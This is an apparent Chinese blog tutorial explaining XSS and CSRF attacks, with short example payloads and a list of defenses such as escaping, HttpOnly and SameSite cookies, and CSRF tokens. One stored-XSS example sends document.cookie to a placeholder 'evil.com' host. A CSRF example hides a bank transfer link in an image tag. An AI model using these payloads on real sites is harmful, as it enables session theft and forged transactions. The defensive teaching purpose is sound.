xss和csrf
1.xss-跨站脚本攻击
利用表单的输入没有进行过滤,向数据库写入js代码或iframe链接,然后相应的代码会被目标站点的页面解析执行。
示例 1:反射型 XSS
当网站直接将用户输入的内容插入到 HTML 中,而没有进行适当的转义时,攻击者可以利用这一漏洞执行恶意 JavaScript 代码。
1 2 3 | < a href="https://example.com/search?q=<script>alert('XSS')</ script >"> 点击这里 </ a > |
用户点击链接后,页面会执行 alert('XSS')
,从而证明 XSS 存在。
示例 2:存储型 XSS
攻击者将恶意代码存储到数据库中,每次用户访问该页面时,恶意脚本都会执行。
1 2 3 | < script > fetch('https://evil.com/steal?cookie=' + document.cookie); </ script > |
一旦受害者访问该页面,他们的 Cookie 就会被发送到攻击者服务器,从而可能导致账号被盗。
示例 3:DOM 型 XSS
如果前端 JavaScript 直接操作 document.write()
或 innerHTML
,攻击者可以操纵 URL 触发 XSS。
1 | document.write(location.search); |
如何防范?
- 对用户输入进行过滤与转义
- 启用 HttpOnly Cookie(输出cookie时设置响应头),禁止js读取cookie
Set-Cookie: sessionid=abc123; HttpOnly
2.csrf-跨站伪造请求
CSRF 允许攻击者利用用户的已登录身份,伪造用户请求并执行敏感操作,如转账、修改密码等。
例子1: 正常登录后会,目标站点的代码逻辑会通过/userinfo/notice?uid=1的链接来获取当前用户的通知(uid代表当前用户的id),攻击者获取该链接后把uid换成其它,然后直接通过浏览器或其它站点来提交,如果服务器端没有检查请求来源是不是站内的或者没有比对传入的uid是否是当前登录用户的id的话,则可以获取到其它用户的通知。
例子2: 你访问了银行的网站,登录后银行网站会在你的浏览器中输出登录cookie,稍后你访问了一个网站b,网站B中将银行的某个链接,比如转账链接伪装成了图片请求<img src='http://icbc.bank.com/transfer'>,当你访问网站b时,浏览器就会携带上你的银行登录cookie去访问银行的转账链接,从而达到攻击目的。
如何防范?
- 使用 CSRF Token(不适用于前后端分离模式)
服务器生成一个随机 Token给客户端,要求客户端所有请求都要携带,然后服务端验证csrf_token
是否匹配
1 | < input type="hidden" name="csrf_token" value="random_token_value"> |
- 使用 SameSite Cookie
现代浏览器支持 SameSite
属性,可阻止跨站点发送 Cookie,详情看这里
Set-Cookie: sessionid=abc123; SameSite=Strict
- 限制 HTTP Referer
服务器检查Referer
头,确保请求来自本网站 - 避免敏感操作使用 GET
只允许 POST/PUT/DELETE 进行重要操作,避免 GET 触发危险请求。 - 使用 CORS 保护 API
配置Access-Control-Allow-Origin
,阻止跨站恶意请求
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现
· 25岁的心里话